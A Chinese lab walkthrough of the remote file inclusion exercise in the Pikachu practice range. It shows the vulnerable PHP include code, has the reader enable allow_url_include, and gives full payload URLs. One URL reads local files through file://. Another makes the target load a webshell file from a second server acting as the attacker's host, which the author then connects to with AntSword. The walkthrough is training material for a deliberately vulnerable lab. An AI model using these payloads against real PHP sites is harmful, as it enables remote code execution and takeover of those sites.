【Pikachu 靶场精讲】远程文件包含(file include remote)

admin 2023年12月23日14:29:40评论20 views字数 1679阅读5分35秒阅读模式

环境配置

当我们第一次打开此页面时,Pikachu 平台会产生一条警告【Pikachu 靶场精讲】远程文件包含(file include remote)

我们只需在 php.ini 文件中修改 allow_url_include 为 On 即可,文件路径:

phpstudy_proExtensionsphp你的php版本

这里要注意修改你网站对应的 PHP 版本的 php.ini 文件【Pikachu 靶场精讲】远程文件包含(file include remote)【Pikachu 靶场精讲】远程文件包含(file include remote)

修改后重启中间件服务(重启 phpstudy)【Pikachu 靶场精讲】远程文件包含(file include remote)

源码分析

后端源码路径:pikachu-mastervulfileincludefi_remote.php

if(isset($_GET['submit']) && $_GET['filename']!=null){
    $filename=$_GET['filename'];
    include "$filename";

基本思路与本地文件包含相同,唯一不同的是传参方式的不同(在本地包含中有解释),这里不再赘述

Pikachu 靶场实践

打开靶场,随机选择一个文件并提交查询,这里我们查询的是 Kobe bryant,可以观察到 URL 变为

http://127.0.0.21/vul/fileinclude/fi_remote.php?filename=include%2Ffile1.php&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
【Pikachu 靶场精讲】远程文件包含(file include remote)

此时我们可以自主操控filename的内容,下面我们演示一些在前置知识中提到的常规方法

配合 PHP 伪协议

常见的 PHP 伪协议有:

file:// 协议
php:// 协议
zip:// & bzip2:// & zlib:// 协议
data:// 协议
http:// & https:// 协议
phar:// 协议

这里对file://协议做一个演示,它一般用于访问本地文件系统,用来读取本地文件的且不受allow_url_fopenallow_url_include的影响【Pikachu 靶场精讲】远程文件包含(file include remote)

更换filename参数为file://目标路径(D:phpstudy_proWWWpikachu-mastervulfileincludeinfo.php)最终成功访问到目标文件,这里还有更多用法大家可以自己尝试一下,不再过多演示,完整 Payload 如下:

http://127.0.0.21/vul/fileinclude/fi_remote.php?filename=file://D:phpstudy_proWWWpikachu-mastervulfileincludeinfo.php&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
【Pikachu 靶场精讲】远程文件包含(file include remote)

使用file://协议与是远程还是本地无关,在这里演示只是因为远程文件包含这个场景的传参方式

从远程服务器读取文件

基于我们刚才将 allow_url_include 设置为 On,所以使用 URL 从其他服务器进行文件传递,刚才本地我们只能使用目标服务器上的敏感文件进行攻击,而远程开启的情况下我们可以使用目标服务器解析任意恶意文件

这里我们先在本地创建一个网站(127.0.1.1),此网站模拟的是攻击者放置恶意文件的服务器【Pikachu 靶场精讲】远程文件包含(file include remote)

在服务器中创建一个名为hack.txt的恶意文件,这里文件后缀不能与存放恶意文件服务器语言相同,否则会先被恶意服务器解析,最终远程过去的内容只是恶意服务器的解析结果,实际上并没有在目标服务器进行执行

这里写入 txt 格式文件,是因为include()函数会将任何格式的文件都以 PHP 格式进行解析,写入一句话木马【Pikachu 靶场精讲】远程文件包含(file include remote)

打开浏览器,输入路径也可以看到我们写入的一句话木马【Pikachu 靶场精讲】远程文件包含(file include remote)

将访问的文件换为我们刚才在远程服务器上的恶意文件,完整 URL 如下:

http://127.0.0.21/vul/fileinclude/fi_remote.php?filename=http://127.0.1.1/hack.txt&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

使用蚁剑进行测试,成功连接【Pikachu 靶场精讲】远程文件包含(file include remote)

原文始发于微信公众号(天禧信安):【Pikachu 靶场精讲】远程文件包含(file include remote)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月23日14:29:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【Pikachu 靶场精讲】远程文件包含(file include remote)https://cn-sec.com/archives/2331280.html

发表评论

匿名网友 填写信息